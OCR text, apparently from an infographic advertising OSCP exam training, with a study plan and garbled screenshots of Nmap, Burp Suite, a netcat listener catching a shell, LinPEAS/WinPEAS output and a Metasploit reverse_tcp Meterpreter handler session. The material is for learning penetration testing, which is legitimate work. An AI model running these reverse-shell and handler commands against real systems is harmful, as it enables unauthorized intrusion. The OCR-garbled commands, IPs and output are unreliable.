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Focus on
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Watching Tutorials All Day

THE WRONG WAY & THE RIGHT WAY

Watching Videos [/ Hack Machines Daily
Reading Notes v/ Practice Labs iSCIPLINE
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STUDY PLAN
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Networking + Web Exploitation + AD Labs +
Linux + Priv Esc Mock Exams

Enumeration

) Network Basics OWASP Top 10 ) Active Directory
Linux Fundamentals Web Exploitation AD Exploitation
Enum & Recon . Privilege Escalation ) Mock Exams
Tool Mastery ) Labs & Practice ‘) Final Review
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Burp Suite & Netcat
Dashboard  Twrget  Proxy  Intruder  Repeater  Sequencer
Starting Nmap 7.94. .. ! Injercept  HTTPhstary  WebSockets history  Options ne -lvnp 4444
Nmap scan report for 18.10.18.1 ok : listening on [any] 4444
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FORT STATE SERVICE | .?fp | GET flogin HTTP/1.1 (198.10.10.18) 49876
22/%ep apen  5sh i
Host: vulnerable.app id
BE/tcp open  http g 1arS : )
443/tcp  open  hteps } User-Agent: Mozilla/5.8,.. uid=1801{user) gid=1081(user)
3389/tcp open  ms-wht-server : s Accept: %+ aroups=1801(user)
L Connection: close :
Nmap done: 1 IP address (1 host up) whoami
scanned im 1.23 seconds user
J P /
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& LinPEAS - & WIinPEAS
Kernel Information Windows Privilege Escalation ° o
Linux version 5.4.0-104-generic Awesome Script e ma
. | i
[#] SUID Binaries Lo T“raﬁ"uldh ' o
fusr/bin/python3.8 Mistoners Windowe 28, Bro & .
sl : 10.0.19045 N/A Build 19845 .
Jusr/bin/vim.basic PO
] Interesting Files o =
[#] Interesting Files C:\Usersi\Publich 5 v
Jetc/passwd C:\Program Files (x86)\ s
iEECjSHZdDW AlwaysInstallElevated 0 I
YL SUEICES HKCU: Not Set | HKLM: Not Set
=4 .
. o T

Metasploit (Limited Usage) e

msf6 > use exploit/multi/handler

mafb exploit(mul han '} > set payload windows/meterpreter/reverse_tcp |
payvload => windows/meterpreter/reverse_tcp I : [HEIEERFRE
msft exploit(muls ler) » set LHOST 10.16.16.5 j ,
LHOST => 18.19.10.5 |
msf6 exploit{mul andler) > set LPORT 4444

LPORT =» 4444

maft exploit(m ' &r) = run

Started reverse TCP handler on 16.19.18.5:4444
Sending stage (281798 bytes) to 18.10.10.189
#| Meterpreter session 1 opened (1€.10.10.5:4444 -> 19.10.10.10:49877) at 2025-05-24 1¢:34:56
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Join WebAsha Technologies

& Live Instructor-Led Training
& OSCP Labs
‘ Exam Guidance

& Interview Preparation

‘ Placement Assistance
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